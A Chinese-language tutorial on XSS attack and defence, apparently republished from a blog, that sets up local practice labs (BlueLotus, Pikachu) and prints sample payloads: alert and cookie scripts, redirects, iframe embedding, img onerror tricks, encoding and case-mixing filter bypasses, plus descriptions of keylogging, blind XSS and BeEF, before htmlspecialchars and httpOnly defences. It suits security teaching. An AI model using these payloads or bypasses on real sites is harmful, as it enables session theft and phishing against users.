位置: IT常识 - 正文

XSS漏洞攻防(xss漏洞利用的场景)

编辑:rootadmin
XSS漏洞攻防 目录XSS攻击简介XSS攻击的危害XSS攻击分类XSS产生原因实战靶场搭建构造xss攻击脚本弹窗警告页面嵌套页面重定向弹窗警告并重定向图片标签利用绕开过滤的脚本存储型xss基本演示访问恶意代码(网站种马)XSS获取键盘记录XSS盲打htmlspecialchars()函数自动xss攻击安全防御XSS攻击简介

推荐整理分享XSS漏洞攻防(xss漏洞利用的场景),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:简述xss漏洞攻击的一般实施流程,xss漏洞有哪些类型,xss漏洞的有效措施,xss漏洞利用的场景,xss漏洞防御方法,xss漏洞防御方法,xss漏洞攻击,xss漏洞攻击,内容如对您有帮助,希望把文章链接给更多的朋友!

xss (Cross Site Scripting):跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合,所以改名为XSS。

主要基于java script (JS) 完成恶意攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。攻击者在网页中嵌式客户端脚本(通常是JavaScript的恶意脚本),当用户使用浏览器加载被嵌入恶意代码的网页时,恶意脚本代码就会在用户的浏览器执行,造成跨站脚本攻击。

微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。 因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入; 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

XSS攻击的危害

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 3、盗窃企业重要的具有商业价值的资料 4、非法转账 5、强制发送电子邮件 6、网站挂马 让更多人的受害 7、控制受害者机器向其它网站发起攻击 卖肉机

XSS攻击分类反射型非持久性跨站点脚本攻击攻击是一次性的,仅仅对当前的页面访问产生影响存储型持久型跨站点脚本攻击者的数据存储在服务器端,攻击行为将伴随着供给数据一直存在dom型既可能是反射型又可能是存储型XSS产生原因

web应用对用户的输入过滤不严谨

攻击者写入恶意的脚本代码到网页中

用户访问了含有恶意代码的网页

恶意脚本就会被浏览器解析执行并导致用户被攻击

反射型XSS的流程:

hacker发送带有xss恶意脚本的链接向用户用户点击了链接访问正常服务器正常服务器将正常的页面返回到用户浏览器用户浏览器解析了网页的恶意xss代码向恶意服务器发起请求hacker从自己搭建的恶意服务器中获取到用户的提交信息

存储型XSS攻击流程

hacker在目标服务器上构造xss恶意脚本,保存在数据库中用户在网站登录状态下访问了目标服务器,查看了存在恶意脚本的页面网站将xss和正常页面返回到用户浏览器用户浏览器解析了网页的xss恶意代码向恶意服务器发起请求hacker从自己搭建的恶意服务器中获取用户提交的信息实战靶场搭建

BlueLotus 我这里选择的清华大学的是蓝莲花靶场(BlueLotus) 下载BlueLotus_XSSReceiver-master解压缩到PHPstudy的WWW目录下 然后打开PHPstudy

成功之后是这样的

XSS漏洞攻防(xss漏洞利用的场景)

然后访问本地ip,127.0.0.1:84 点安装 设置密码,然后下拉点提交 输入密码登录 登录界面

构造xss攻击脚本弹窗警告

<script>alert(1)</script>

盗取用户cookie <script>alert(document.cookie)</script>

页面嵌套

<iframe style="overflow:hidden; width:520px;height:400px;position:fixed;left:500px;top:400px;border:none;margin:0px;padding:0px;"src="http://127.0.0.1:82/ "></iframe>

可以看到页面里面又套了一个页面页面重定向<script> window.location= "https://www.baidu.com/" </script><script>location.href= "https://www.baidu.com/"</script>弹窗警告并重定向<script>alert("请移步到我们的新站");location.href="https://www.baidu.com/"</script>

点击确定以后就加载到了目标网站图片标签利用图像标签,有一定的隐蔽性<img src= "#" onerror= alert('欢迎来钓鱼')>绕开过滤的脚本绕开过滤的脚本大小写 <ScrIpt>alert('xss')</SCRipt>字符编码 字符编码采用URL、Base64、HTML等编码<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

可以用html编码进行绕过

存储型xss基本演示

危害最大的xss 写好一个脚本

有了弹窗 然后复制url再次打开发现弹窗还在,也就是说每一个访问这个网页的人都会弹出这个对话框

访问恶意代码(网站种马)能诱导用户访文恶意网站的攻击文件xss.js。获取用户cookieXSS获取键盘记录

将rk.js改为自己ip 然后在pikachuxss平台输入

这样只要用户在输入框输入点击提交,后台就会在pkxss_keypress_result.php文件中记录下来

XSS盲打

进入XSs盲打 随便输入 输入 ![!](https://img-blog.csdnimg.cn/7d7b47e3bb0e4f21b1f16c77e6617a9d.png) 访问http://127.0.0.1:81/vul/xss/xssblind/xss_blind.php输入账户密码。就还可以看到有一个弹窗 然后点击确定后还有记录

htmlspecialchars()函数htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体预定义的字符是:&(和号) 成为&amp;" (双引号) 成为 &quot;' (单引号) 成为 &apos;< (小于) 成为 &lt;> (大于) 成为 &gt;

源码

自动xss攻击beEF介绍:Browser Exploitation Framework (BeEF)BeEF是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单官网点这里功能信息收集持久化控制社工渗透攻击安全防御

1.对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。

2.在javascript中加入多个tab键,得到 < IMG SRC=“jav ascript:alert(‘XSS’);” >;    3.在javascript中加入 编码字符,得到< IMG SRC=“javascript:alert(‘XSS’);” >;

4.在javascript中加入字符,得到   < IMG SRC=“javascript:alert(‘XSS’);” >;

本文链接地址:https://www.jiuchutong.com/zhishi/297877.html 转载请保留说明!

上一篇:最好用的 6 款 Vue 拖拽组件库推荐 - 卡拉云(推荐最好用的)

下一篇:ChatGPT会让6个低端岗位失业

  • 华为畅享50pro是什么处理器(华为畅享50pro是曲面屏吗)

    华为畅享50pro是什么处理器(华为畅享50pro是曲面屏吗)

  • excel怎么批量隔一行插一行(excel怎么批量隔列粘贴)

    excel怎么批量隔一行插一行(excel怎么批量隔列粘贴)

  • 扫码辅助注册对自己有没有影响(辅助扫码注册微信有什么影响)

    扫码辅助注册对自己有没有影响(辅助扫码注册微信有什么影响)

  • 美图秀秀照片上面怎么加文字?(美图秀秀照片上怎么编辑文字)

    美图秀秀照片上面怎么加文字?(美图秀秀照片上怎么编辑文字)

  • 水星管理员密码是多少(水星管理员密码不对怎么办)

    水星管理员密码是多少(水星管理员密码不对怎么办)

  • 修改微信号需要登录一周吗(修改微信号需要什么条件)

    修改微信号需要登录一周吗(修改微信号需要什么条件)

  • airpodsPro为什么不自动连接(airpodspro为什么老是自动暂停)

    airpodsPro为什么不自动连接(airpodspro为什么老是自动暂停)

  • 微信好友删除频繁了怎么解(微信好友删除频繁删不了了怎么办)

    微信好友删除频繁了怎么解(微信好友删除频繁删不了了怎么办)

  • 抖音更换手机号码有影响吗(抖音更换手机号码原来的不用了怎么办)

    抖音更换手机号码有影响吗(抖音更换手机号码原来的不用了怎么办)

  • 华为充电动画怎样才能一直显示(华为充电动画怎么显示出来)

    华为充电动画怎样才能一直显示(华为充电动画怎么显示出来)

  • 直播收到的礼物在哪里(抖音怎么看别人直播收到的礼物)

    直播收到的礼物在哪里(抖音怎么看别人直播收到的礼物)

  • 上手机淘宝为什么会黑屏(手机淘宝上不去)

    上手机淘宝为什么会黑屏(手机淘宝上不去)

  • ps行间距快捷键(ps怎么设置行之间的距离)

    ps行间距快捷键(ps怎么设置行之间的距离)

  • 美团和大众点评的区别(美团和大众点评账号互通吗)

    美团和大众点评的区别(美团和大众点评账号互通吗)

  • 双11红包退款之后还能用吗(双11用的红包退款了红包还会返还吗)

    双11红包退款之后还能用吗(双11用的红包退款了红包还会返还吗)

  • 华为matex用的什么牌子屏幕

    华为matex用的什么牌子屏幕

  • word如何增加目录一行(word如何增加目录中的副标题)

    word如何增加目录一行(word如何增加目录中的副标题)

  • 如何让手机录的视频更清晰(如何让手机录的视频内存变小)

    如何让手机录的视频更清晰(如何让手机录的视频内存变小)

  • 客能达是不是正规公司(客能达刷脸支付代理怎么样)

    客能达是不是正规公司(客能达刷脸支付代理怎么样)

  • apple watch5什么时候上市(apple watch5发售)

    apple watch5什么时候上市(apple watch5发售)

  •  正在拼单怎么取消订单(正在拼单怎么取消订单)

    正在拼单怎么取消订单(正在拼单怎么取消订单)

  • 怎么把doc转换成docx(怎么把doc转换成zip)

    怎么把doc转换成docx(怎么把doc转换成zip)

  • 如何维护电脑系统安全?

    如何维护电脑系统安全?

  • 合宙AIR32F103CBT6刷回CMSIS-DAP固件和DAP升级固件以及刷ST-LINK V2-1固件方法(合宙air32f103 stlink)

    合宙AIR32F103CBT6刷回CMSIS-DAP固件和DAP升级固件以及刷ST-LINK V2-1固件方法(合宙air32f103 stlink)

  • TypeScript选项‘importsNotUsedAsValues‘和‘preserveValueImports‘弃用(typescriptlang)

    TypeScript选项‘importsNotUsedAsValues‘和‘preserveValueImports‘弃用(typescriptlang)

  • apropos命令  在whatis数据库中查找字符串(apr命令怎么用)

    apropos命令 在whatis数据库中查找字符串(apr命令怎么用)

  • java中EnumSet的使用(java enum tostring)

    java中EnumSet的使用(java enum tostring)

  • 一般纳税人劳务派遣税率
  • 员工辞退补偿金需要交个税吗
  • 分红款怎么记账
  • 增值税零申报怎么报税
  • 制造费用结转到辅助生产成本
  • 金融机构利息收入缴纳增值税
  • 外汇资本金入账要求
  • 制造企业售后服务方案
  • 小企业作废的发票怎么开
  • 代扣代缴个人所得税
  • 未开票收入结转成本年利润怎么算
  • 外币报表折算差额在会计报表中应作为
  • 存款取款业务记入那个日记账?
  • 发票对方认证不了怎么回事
  • 软件开发公司一般做什么
  • 银行余额调节表模板
  • 小规模纳税人税率3%减按1%
  • 运输企业营改增
  • 个人劳务费可以不开发票吗
  • 全年一次性奖金税收优惠政策2024
  • 合同是怎么影响企业纳税的?
  • 所有的固定资产都有残值率吗
  • 收到未到期的银行承兑汇票会计分录
  • 金融企业贷款损失税前扣除
  • 收到几分钱的认证费怎么做账
  • 公司补缴印花税的后果
  • 小规模纳税人计税方法
  • 增值税预缴税款表电子版下载
  • 组成计税价格用来算什么
  • 如何实现php图片打印
  • ptssvc.exe - ptssvc是什么进程 有什么用
  • win11无法安装程序包
  • linux系统已经得到了广泛的应用
  • 房产契税什么时间缴纳
  • php响应时间
  • 无法将node项识别为
  • 通行费发票怎么做分录
  • 代购货物的缴税情况
  • php实现多条件查询
  • 融资租入固定资产是什么意思
  • 新闻发布管理系统
  • 车船税发票丢失
  • 深入php第五版中文版pdf
  • 微信登录接口购买
  • 原材料按实际成本核算需设置的科目包括
  • 人工智能会影响经济发展吗
  • 基于Perclos&改进YOLOv7的疲劳驾驶DMS检测系统(源码&教程)
  • 为什么我们认为北京人已经学会使用火
  • 递归最小二乘法辨识参数
  • js原型函数
  • 工会经费的使用范围有哪些
  • python 概率分布函数
  • 滴滴票可以抵扣吗?
  • 企业借入长期借款的用途主要有
  • 企业电子发票重开流程
  • 商业承兑汇票的流程
  • 企业按季度交税
  • 应付账款的入账时间为
  • 企业拆迁补偿款
  • 养老保险减免退税政策
  • 现金日记账如何填写
  • 购买的材料入库属于什么会计科目
  • 海关进口代理公司名称
  • 利息收入的正确分录凭证怎么写
  • 无票收入怎么做账,要交税吗,填入增值税申报表
  • mysql常见语句总结
  • Ubuntu16.04 server下配置MySQL,并开启远程连接的方法
  • centos6.9开启ssh服务
  • ghost后恢复
  • apache是什么文件
  • linux删除用户组和用户
  • shell32.exe - shell32是什么进程 有什么用
  • Win10 Redstone 11082视频快速上手:已知bug及新变化一览
  • cocos2dx 3.0 quick lua schedler
  • linux bash命令详解
  • js map(parseint)
  • 真机调试什么意思
  • 重庆市医疗保障局
  • 传统服务贸易和新兴服务贸易如何区分
  • 北京地税app
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设